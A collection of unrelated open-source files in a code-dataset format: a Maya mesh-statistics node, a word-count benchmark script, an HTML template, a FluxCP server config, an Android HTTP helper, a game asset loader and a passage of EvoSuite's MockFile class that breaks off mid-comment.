public String filter(InvocationChain chain) throws Exception {
return chain.invoke();
}
public void destroy() {
}
} | tempbottle/mentawai | src/main/java/org/mentawai/filter/GlobalFilterFreeMarkerFilter.java | Java | lgpl-3.0 | 1,882 |
/*
*
*/
// Local
#include <vcgNodes/vcgMeshStats/vcgMeshStatsNode.h>
#include <vcgNodes/vcgNodeTypeIds.h>
// Utils
#include <utilities/debugUtils.h>
// Function Sets
#include <maya/MFnMeshData.h>
#include <maya/MFnTypedAttribute.h>
#include <maya/MFnEnumAttribute.h>
#include <maya/MFnNumericAttribute.h>
#include <maya/MFnMatrixAttribute.h>
#include <maya/MFnMatrixData.h>
// General Includes
#include <maya/MGlobal.h>
#include <maya/MPlug.h>
#include <maya/MDataBlock.h>
#include <maya/MDataHandle.h>
#include <maya/MIOStream.h>
// Macros
#define MCheckStatus(status, message) \
if( MStatus::kSuccess != status ) { \
cerr << message << "\n"; \
return status; \
}
// Unique Node TypeId
// See 'vcgNodeTypeIds.h', add a definition.
MTypeId vcgMeshStatsNode::id(VCG_MESH_STATS_NODE_ID); // Use a unique ID.
// Node attributes
MObject vcgMeshStatsNode::inMesh;
MObject vcgMeshStatsNode::outMesh;
MObject vcgMeshStatsNode::aEnable;
MObject vcgMeshStatsNode::aOutCentreOfMass;
MObject vcgMeshStatsNode::aOutMass;
vcgMeshStatsNode::vcgMeshStatsNode()
{}
vcgMeshStatsNode::~vcgMeshStatsNode()
{}
MStatus vcgMeshStatsNode::compute(const MPlug &plug, MDataBlock &data)
//
// Description:
// This method computes the value of the given output plug based
// on the values of the input attributes.
//
// Arguments:
// plug - the plug to compute
// data - object that provides access to the attributes for this node
//
{
MStatus status = MS::kSuccess;
MDataHandle stateData = data.outputValue(state, &status);
MCheckStatus(status, "ERROR getting state");
INFO("vcgMeshStats plug: " << plug.name());
// Check for the HasNoEffect/PassThrough flag on the node.
//
// (stateData is an enumeration standard in all depend nodes)
//
// (0 = Normal)
// (1 = HasNoEffect/PassThrough)
// (2 = Blocking)
// ...
//
if (stateData.asShort() == 1)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Simply redirect the inMesh to the outMesh for the PassThrough effect
outputData.set(inputData.asMesh());
}
else
{
// Check which output attribute we have been asked to
// compute. If this node doesn't know how to compute it,
// we must return MS::kUnknownParameter
if (plug == outMesh || plug == aOutCentreOfMass || plug == aOutMass)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Copy the inMesh to the outMesh, so you can
// perform operations directly on outMesh
outputData.set(inputData.asMesh());
// Return if the node is not enabled.
MDataHandle enableData = data.inputValue(aEnable, &status);
MCheckStatus(status, "ERROR getting aEnable");
if (!enableData.asBool())
{
return MS::kSuccess;
}
// Get Mesh object
MObject mesh = outputData.asMesh();
// Set the mesh object and component List on the factory
fFactory.setMesh(mesh);
// Now, perform the vcgMeshStats
status = fFactory.doIt();
// Centre Of Mass Output
MVector centreOfMass(fFactory.getCentreOfMass());
INFO("compute centre of mass X:" << centreOfMass[0]);
INFO("compute centre of mass Y:" << centreOfMass[1]);
INFO("compute centre of mass Z:" << centreOfMass[2]);
MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
MCheckStatus(status, "ERROR getting aOutCentreOfMass");
centreOfMassData.setMVector(centreOfMass);
// Mass Output
float mass = fFactory.getMass();
INFO("compute mass:" << mass);
MDataHandle massData = data.outputValue(aOutMass, &status);
MCheckStatus(status, "ERROR getting aOutMass");
massData.setFloat(mass);
// Mark the output mesh as clean
outputData.setClean();
centreOfMassData.setClean();
massData.setClean();
}
// else if
// {
// MDataHandle inputData = data.inputValue(inMesh, &status);
// MCheckStatus(status, "ERROR getting inMesh");
//
// // Return if the node is not enabled.
// MDataHandle enableData = data.inputValue(aEnable, &status);
// MCheckStatus(status, "ERROR getting aEnable");
// if (!enableData.asBool())
// {
// return MS::kSuccess;
// }
//
// // Get Mesh object
// MObject mesh = inputData.asMesh();
//
// // Set the mesh object and component List on the factory
// fFactory.setMesh(mesh);
//
// // Now, perform the vcgMeshStats
// status = fFactory.doIt();
//
// // Centre Of Mass Output
// MVector centreOfMass(fFactory.getCentreOfMass());
// MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
// MCheckStatus(status, "ERROR getting aOutCentreOfMass");
// centreOfMassData.setMVector(centreOfMass);
//
// // Mass Output
// float mass = fFactory.getMass();
// MDataHandle massData = data.outputValue(aOutMass, &status);
// MCheckStatus(status, "ERROR getting aOutMass");
// massData.setFloat(mass);
//
// // Mark the output mesh as clean
//
// }
else
{
status = MS::kUnknownParameter;
}
}
return status;
}
void *vcgMeshStatsNode::creator()
//
// Description:
// this method exists to give Maya a way to create new objects
// of this type.
//
// Return Value:
// a new object of this type
//
{
return new vcgMeshStatsNode();
}
MStatus vcgMeshStatsNode::initialize()
//
// Description:
// This method is called to create and initialize all of the attributes
// and attribute dependencies for this node type. This is only called
// once when the node type is registered with Maya.
//
// Return Values:
// MS::kSuccess
// MS::kFailure
//
{
MStatus status;
MFnTypedAttribute attrFn;
MFnNumericAttribute numFn;
aEnable = numFn.create("enable", "enable",
MFnNumericData::kBoolean, true, &status);
CHECK_MSTATUS(status);
status = numFn.setDefault(true);
status = numFn.setStorable(true);
status = numFn.setKeyable(true);
status = numFn.setChannelBox(true);
status = numFn.setHidden(false);
status = addAttribute(aEnable);
CHECK_MSTATUS(status);
// Centre of Mass
aOutCentreOfMass = numFn.createPoint("outCentreOfMass", "outCentreOfMass",
&status);
// MFnNumericData::k3Float, 0.0, &status);
CHECK_MSTATUS(status);
// numFn.setDefault(0.0f, 0.0f, 0.0f);
// numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutCentreOfMass);
CHECK_MSTATUS(status);
// Mass
aOutMass = numFn.create("outMass", "outMass",
MFnNumericData::kFloat, 0.0,
&status);
CHECK_MSTATUS(status);
numFn.setDefault(0.0f);
numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutMass);
CHECK_MSTATUS(status);
// Input Mesh
inMesh = attrFn.create("inMesh", "im", MFnMeshData::kMesh);
attrFn.setStorable(true); // To be stored during file-save
status = addAttribute(inMesh);
CHECK_MSTATUS(status);
// Output Mesh
// Attribute is read-only because it is an output attribute
outMesh = attrFn.create("outMesh", "om", MFnMeshData::kMesh);
attrFn.setStorable(false);
attrFn.setWritable(false);
status = addAttribute(outMesh);
CHECK_MSTATUS(status);
// Attribute affects
status = attributeAffects(inMesh, outMesh);
status = attributeAffects(aEnable, outMesh);
status = attributeAffects(inMesh, aOutCentreOfMass);
status = attributeAffects(aEnable, aOutCentreOfMass);
status = attributeAffects(inMesh, aOutMass);
status = attributeAffects(aEnable, aOutMass);
CHECK_MSTATUS(status);
return MS::kSuccess;
}
| david-cattermole/vcglib-maya | src/vcgNodes/vcgMeshStats/vcgMeshStatsNode.cpp | C++ | lgpl-3.0 | 8,153 |
#!/bin/bash
##
## Copyright (c) 2019 alpha group, CS department, University of Torino.
##
## This file is part of pico
## (see https://github.com/alpha-unito/pico).
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU Lesser General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU Lesser General Public License for more details.
##
## You should have received a copy of the GNU Lesser General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>.
##
B=512
N=20
for j in 42 #1 2 4 8 16 32 48
do
fname=times_wordcount_w$j"_"b$B
echo "[-w $j -b $B]"
rm -rf $fname
for i in `seq 1 $N`
do
echo $i / $N
./pico_wc -w $j -b $B testdata/words1m foo.txt 2> /dev/null | awk '{for (i=0; i<=NF; i++){if ($i == "in"){print $(i+1);exit}}}' >> $fname
done
done
| alpha-unito/PiCo | examples/word-count/run_wordcount.sh | Shell | lgpl-3.0 | 1,148 |
{% extends base_layout %}
{% block title %}
{% trans %}Add Aid{% endtrans %} - {{ app_name }}
{% endblock %}
{% block header_title %}
{% trans %}Add Aid{% endtrans %}
{% endblock %}
{% block mediaCSS %}
<link rel="stylesheet" href="/{{ theme }}/css/jquery.dataTables.css">
{% endblock %}
{% block content %}
{% set show_fields = ['name', 'qty', 'cost', 'supplier', 'tags'] %}
<div class="container">
<div class="row">
<div class="span12">
<h3>View Aids</h3>
</div>
</div>
<div class="row">
<div class="span12">
<div class="aid_customer_details">
<form class="form-inline" action="">
<div class="span2">
<label for="client_age">Client Age</label><input type="number" name="age" class="input-mini"
id="client_age"/>
</div>
<div class="span2">
<label>
Male
<input type="radio" name="sex" value="male">
</label>
<label>
Female
<input type="radio" name="sex" value="female">
</label>
</div>
<div class="span3">
<label for="client_life_expectancy">Life Expectancy</label><input type="number" name="life-expectancy"
class="input-mini"
id="client_life_expectancy"/>
</div>
<div class="span3">
<p id="life_left"></p>
</div>
</form>
</div>
</div>
</div>
<div class="row top-buffer">
<div class="span6">
<div class="aid_table_select">
<table id="aid_table">
<thead>
<tr>
<th><input type="checkbox" class="checkbox" name="check-all" id="check-all"/></th>
{% for fld in show_fields %}
<th>{{ fld }}</th>
{% endfor %}
</tr>
</thead>
<tbody>
{% for row in table_data %}
<tr>
<td><input type="checkbox" class="checkbox" name="cb1" id="{{ row.key.id() }}"/></td>
<td><a href="/add_aid/?aid_id={{ row.key.urlsafe() }}" target="_blank">{{ row.name }}</a></td>
<td><input type="number" value="1" class="input-mini qty" id="{{ row.key.id() }}-qty"></td>
<td>{{ "$%.2f"|format(row.cost) }}</td>
<td>{{ row.supplier.get().name }}</td>
<td>
{% for tag in row.tags %}
{{ tag }}<br/>
{% endfor %}
</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<div class="span6">
<div class="copy-table">
<table id="ctable">
<thead>
<tr>
<th>Image</th>
<th>Name</th>
<th>Supplier</th>
<th>Initial Cost<br/>per Item</th>
<th>Maintenance<br/>per year</th>
<th>Replacement<br/>Frequency</th>
<th>Quantity</th>
<th>Cost per year</th>
<th>Lifetime Cost</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="7" class="grand_total_title">Total</td>
<td class="cost_per_year_price" id="cost_per_year_price"></td>
<td class="grand_total_price" id="grand_total_price"></td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
</div>
{% endblock %}
{% block mediaJS %}
<script src="/{{ theme }}/js/jquery.js"></script>
<script src="/{{ theme }}/js/jquery.dataTables.min.js"></script>
<script src="/{{ theme }}/js/view_aids_utilities.js"></script>
{% endblock %} | joshainglis/sa-tools | bp_content/themes/sa_default/templates/view_aids.html | HTML | lgpl-3.0 | 4,057 |
#region Copyrights
//
// RODI - http://rodi.aisdev.net
// Copyright (c) 2012-2016
// by SAS AIS : http://www.aisdev.net
// supervised by : Jean-Paul GONTIER (Rotary Club Sophia Antipolis - District 1730)
//
//GNU LESSER GENERAL PUBLIC LICENSE
//Version 3, 29 June 2007 Copyright (C) 2007
//Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
//This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below.
//0. Additional Definitions.
//As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License.
//"The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.
//An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library.Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.
//A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version".
//The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.
//The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work.
//1. Exception to Section 3 of the GNU GPL.
//You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL.
//2. Conveying Modified Versions.
//If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:
//a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or
//b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.
//3. Object Code Incorporating Material from Library Header Files.
//The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates(ten or fewer lines in length), you do both of the following:
//a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.
//b) Accompany the object code with a copy of the GNU GPL and this license document.
//4. Combined Works.
//You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:
//a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License.
//b) Accompany the Combined Work with a copy of the GNU GPL and this license document.
//c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document.
//d) Do one of the following:
//0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
//1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version.
//e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)
//5. Combined Libraries.
//You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:
//a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License.
//b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.
//6. Revised Versions of the GNU Lesser General Public License.
//The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
//Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.
//If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.
#endregion Copyrights
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace AIS
{
[Serializable]
public class General_Attendance
{
public int id {get; set;}
public String name {get; set;}
public int nbm {get; set;}
public String purcent {get; set;}
public String purcentPastYear { get; set; }
public String varEff { get; set; }
public int month { get; set; }
public int year { get; set; }
public String varAtt { get; set; }
}
}
| JeanPaulGontier/RODI | ais/General_Attendance.cs | C# | lgpl-3.0 | 8,179 |
package org.osmdroid.bonuspack.utils;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.StatusLine;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.util.EntityUtils;
import android.util.Log;
/**
* A "very very simple to use" class for performing http get and post requests.
* So many ways to do that, and potential subtle issues.
* If complexity should be added to handle even more issues, complexity should be put here and only here.
*
* Typical usage:
* <pre>HttpConnection connection = new HttpConnection();
* connection.doGet("http://www.google.com");
* InputStream stream = connection.getStream();
* if (stream != null) {
* //use this stream, for buffer reading, or XML SAX parsing, or whatever...
* }
* connection.close();</pre>
*/
public class HttpConnection {
private DefaultHttpClient client;
private InputStream stream;
private HttpEntity entity;
private String mUserAgent;
private final static int TIMEOUT_CONNECTION=3000; //ms
private final static int TIMEOUT_SOCKET=8000; //ms
public HttpConnection(){
stream = null;
entity = null;
HttpParams httpParameters = new BasicHttpParams();
/* useful?
HttpProtocolParams.setContentCharset(httpParameters, "UTF-8");
HttpProtocolParams.setHttpElementCharset(httpParameters, "UTF-8");
*/
// Set the timeout in milliseconds until a connection is established.
HttpConnectionParams.setConnectionTimeout(httpParameters, TIMEOUT_CONNECTION);
// Set the default socket timeout (SO_TIMEOUT)
// in milliseconds which is the timeout for waiting for data.
HttpConnectionParams.setSoTimeout(httpParameters, TIMEOUT_SOCKET);
client = new DefaultHttpClient(httpParameters);
//TODO: created here. Reuse to do for better perfs???...
}
public void setUserAgent(String userAgent){
mUserAgent = userAgent;
}
/**
* @param sUrl url to get
*/
public void doGet(String sUrl){
try {
HttpGet request = new HttpGet(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e){
e.printStackTrace();
}
}
public void doPost(String sUrl, List<NameValuePair> nameValuePairs) {
try {
HttpPost request = new HttpPost(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
request.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* @return the opened InputStream, or null if creation failed for any reason.
*/
public InputStream getStream() {
try {
if (entity != null)
stream = entity.getContent();
} catch (IOException e) {
e.printStackTrace();
}
return stream;
}
/**
* @return the whole content as a String, or null if creation failed for any reason.
*/
public String getContentAsString(){
try {
if (entity != null) {
return EntityUtils.toString(entity, "UTF-8");
//setting the charset is important if none found in the entity.
} else
return null;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
/**
* Calling close once is mandatory.
*/
public void close(){
if (stream != null){
try {
stream.close();
stream = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (entity != null){
try {
entity.consumeContent();
//"finish". Important if we want to reuse the client object one day...
entity = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (client != null){
client.getConnectionManager().shutdown();
client = null;
}
}
}
| pese-git/osmbonuspack | src/main/java/org/osmdroid/bonuspack/utils/HttpConnection.java | Java | lgpl-3.0 | 4,625 |
<?php
return array(
// Example server configuration. You may have more arrays like this one to
// specify multiple server groups (however they should share the same login
// server whilst they are allowed to have multiple char/map pairs).
array(
'ServerName' => 'FluxRO',
// Global database configuration (excludes logs database configuration).
'DbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => 'utf8', // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- 'Convert' option only works when 'Encoding' option is specified and iconv (http://php.net/iconv) is available.
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => '-3:00', //null // Example: '+0:00' is UTC.
// The possible values of 'Timezone' is as documented from the MySQL website:
// "The value can be given as a string indicating an offset from UTC, such as '+10:00' or '-6:00'."
// "The value can be given as a named time zone, such as 'Europe/Helsinki', 'US/Eastern', or 'MET'." (see below continuation!)
// **"Named time zones can be used only if the time zone information tables in the mysql database have been created and populated."
),
// This is kept separate because many people choose to have their logs
// database accessible under different credentials, and often on a
// different server entirely to ensure the reliability of the log data.
'LogsDbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => null, // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- 'Convert' option only works when 'Encoding' option is specified and iconv (http://php.net/iconv) is available.
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => null // Possible values is as described in the comment in DbConfig.
),
// Login server configuration.
'LoginServer' => array(
'Address' => '127.0.0.1',
'Port' => 6900,
'UseMD5' => true,
'NoCase' => true, // rA account case-sensitivity; Default: Case-INsensitive (true).
'GroupID' => 0, // Default account group ID during registration.
//'Database' => 'ragnarok'
),
'CharMapServers' => array(
array(
'ServerName' => 'FluxRO',
'Renewal' => true,
'MaxCharSlots' => 9,
'DateTimezone' => 'America/Sao_Paulo', //null, // Specifies game server's timezone for this char/map pair. (See: http://php.net/timezones)
'ResetDenyMaps' => 'prontera', // Defaults to 'sec_pri'. This value can be an array of map names.
//'Database' => 'ragnarok', // Defaults to DbConfig.Database
'ExpRates' => array(
'Base' => 100, // Rate at which (base) exp is given
'Job' => 100, // Rate at which job exp is given
'Mvp' => 100 // MVP bonus exp rate
),
'DropRates' => array(
// The rate the common items (in the ETC tab, besides card) are dropped
'Common' => 100,
'CommonBoss' => 100,
// The rate healing items (that restore HP or SP) are dropped
'Heal' => 100,
'HealBoss' => 100,
// The rate usable items (in the item tab other then healing items) are dropped
'Useable' => 100,
'UseableBoss' => 100,
// The rate at which equipment is dropped
'Equip' => 100,
'EquipBoss' => 100,
// The rate at which cards are dropped
'Card' => 100,
'CardBoss' => 100,
// The rate adjustment for the MVP items that the MVP gets directly in their inventory
'MvpItem' => 100
),
'CharServer' => array(
'Address' => '127.0.0.1',
'Port' => 6121
),
'MapServer' => array(
'Address' => '127.0.0.1',
'Port' => 5121
),
// -- WoE days and times --
// First parameter: Starding day 0=Sunday / 1=Monday / 2=Tuesday / 3=Wednesday / 4=Thursday / 5=Friday / 6=Saturday
// Second parameter: Starting hour in 24-hr format.
// Third paramter: Ending day (possible value is same as starting day).
// Fourth (final) parameter: Ending hour in 24-hr format.
// ** (Note, invalid times are ignored silently.)
'WoeDayTimes' => array(
//array(0, '12:00', 0, '14:00'), // Example: Starts Sunday 12:00 PM and ends Sunday 2:00 PM
//array(3, '14:00', 3, '15:00') // Example: Starts Wednesday 2:00 PM and ends Wednesday 3:00 PM
),
// Modules and/or actions to disallow access to during WoE.
'WoeDisallow' => array(
array('module' => 'character', 'action' => 'online'), // Disallow access to "Who's Online" page during WoE.
array('module' => 'character', 'action' => 'mapstats') // Disallow access to "Map Statistics" page during WoE.
)
)
)
)
);
?>
| JulioCF/Aeon-FluxCP | config/servers.php | PHP | lgpl-3.0 | 5,436 |
/*
* Copyright (c) 2014-2015 Daniel Hrabovcak
*
* This file is part of Natural IDE.
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option) any
* later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
**/
#include "Version.hpp"
#include <cstdio>
#include <cinttypes>
#ifdef __MINGW32__
#ifndef SCNu8
#define SCNu8 "hhu"
#endif
#endif
namespace natural
{
Version::Version()
: major_(0)
, minor_(0)
, patch_(0)
{}
Version::Version(uint8_t major, uint8_t minor, uint8_t patch)
: major_(major)
, minor_(minor)
, patch_(patch)
{}
Version::Version(const char *str)
{
uint8_t major, minor;
uint16_t patch;
if (sscanf(str, "%" SCNu8 ".%" SCNu8 ".%" SCNu16,
&major, &minor, &patch) != 3)
{
Version();
return;
}
Version(major, minor, patch);
}
bool Version::compatible(const Version &other)
{
return (major_ == other.major_ && (minor_ < other.minor_ ||
(minor_ == other.minor_ && patch_ <= other.patch_)));
}
bool Version::forward_compatible(const Version &other)
{
return (major_ > other.major_ || compatible(other));
}
Version Version::version()
{
// Must be in the `.cpp` file, so it is compiled into the shared library.
return Version(NATURAL_VERSION_MAJOR, NATURAL_VERSION_MINOR,
NATURAL_VERSION_PATCH);
}
}
| TheSpiritXIII/natural-ide | src/API/Version.cpp | C++ | lgpl-3.0 | 1,644 |
/*
* Copyright (C) 2015 the authors
*
* This file is part of usb_warrior.
*
* usb_warrior is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* usb_warrior is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with usb_warrior. If not, see <http://www.gnu.org/licenses/>.
*/
#include "game.h"
#include "image_manager.h"
#include "loader.h"
Loader::Loader(Game* game) : _game(game) {
}
void Loader::addImage(const std::string& filename) {
_imageMap.emplace(filename, nullptr);
}
void Loader::addSound(const std::string& filename) {
_soundMap.emplace(filename, nullptr);
}
void Loader::addMusic(const std::string& filename) {
_musicMap.emplace(filename, nullptr);
}
void Loader::addFont(const std::string& filename) {
_fontMap.emplace(filename, nullptr);
}
const Image* Loader::getImage(const std::string& filename) {
return _imageMap.at(filename);
}
const Sound* Loader::getSound(const std::string& filename) {
return _soundMap.at(filename);
}
const Music* Loader::getMusic(const std::string& filename) {
return _musicMap.at(filename);
}
Font Loader::getFont(const std::string& filename) {
return Font(_fontMap.at(filename));
}
unsigned Loader::loadAll() {
unsigned err = 0;
for(auto& file: _imageMap) {
file.second = _game->images()->loadImage(file.first);
if(!file.second) { err++; }
}
for(auto& file: _soundMap) {
file.second = _game->sounds()->loadSound(file.first);
if(!file.second) { err++; }
}
for(auto& file: _musicMap) {
file.second = _game->sounds()->loadMusic(file.first);
if(!file.second) { err++; }
}
for(auto& file: _fontMap) {
file.second = _game->fonts()->loadFont(file.first);
if(!file.second) { err++; }
}
return err;
}
void Loader::releaseAll() {
for(auto& file: _imageMap) {
if(file.second) {
_game->images()->releaseImage(file.second);
file.second = nullptr;
}
}
for(auto& file: _soundMap) {
if(file.second) {
_game->sounds()->releaseSound(file.second);
file.second = nullptr;
}
}
for(auto& file: _musicMap) {
if(file.second) {
_game->sounds()->releaseMusic(file.second);
file.second = nullptr;
}
}
for(auto& file: _fontMap) {
if(file.second) {
_game->fonts()->releaseFont(file.second);
file.second = nullptr;
}
}
}
| draklaw/usb_warrior | src/loader.cpp | C++ | lgpl-3.0 | 2,706 |
/**
* Copyright (C) 2010-2015 Gordon Fraser, Andrea Arcuri and EvoSuite
* contributors
*
* This file is part of EvoSuite.
*
* EvoSuite is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser Public License as published by the
* Free Software Foundation, either version 3.0 of the License, or (at your
* option) any later version.
*
* EvoSuite is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser Public License for more details.
*
* You should have received a copy of the GNU Lesser Public License along
* with EvoSuite. If not, see <http://www.gnu.org/licenses/>.
*/
package org.evosuite.runtime.mock.java.io;
import java.io.File;
import java.io.FileFilter;
import java.io.FilenameFilter;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.evosuite.runtime.RuntimeSettings;
import org.evosuite.runtime.mock.MockFramework;
import org.evosuite.runtime.mock.OverrideMock;
import org.evosuite.runtime.mock.java.lang.MockIllegalArgumentException;
import org.evosuite.runtime.mock.java.net.MockURL;
import org.evosuite.runtime.vfs.FSObject;
import org.evosuite.runtime.vfs.VFile;
import org.evosuite.runtime.vfs.VFolder;
import org.evosuite.runtime.vfs.VirtualFileSystem;
/**
* This class is used in the mocking framework to replace File instances.
*
* <p>
* All files are created in memory, and no access to disk is ever done
*
* @author arcuri
*
*/
public class MockFile extends File implements OverrideMock {
private static final long serialVersionUID = -8217763202925800733L;
/*
* Constructors, with same inputs as in File. Note: it is not possible to inherit JavaDocs for constructors.
*/
public MockFile(String pathname) {
super(pathname);
}
public MockFile(String parent, String child) {
super(parent,child);
}
public MockFile(File parent, String child) {
this(parent.getPath(),child);
}
public MockFile(URI uri) {
super(uri);
}
/*
* TODO: Java 7
*
* there is only one method in File that depends on Java 7:
*
* public Path toPath()
*
*
* but if we include it here, we will break compatibility with Java 6.
* Once we drop such backward compatibility, we will need to override
* such method
*/
/*
* --------- static methods ------------------
*
* recall: it is not possible to override static methods.
* In the SUT, all calls to those static methods of File, eg File.foo(),
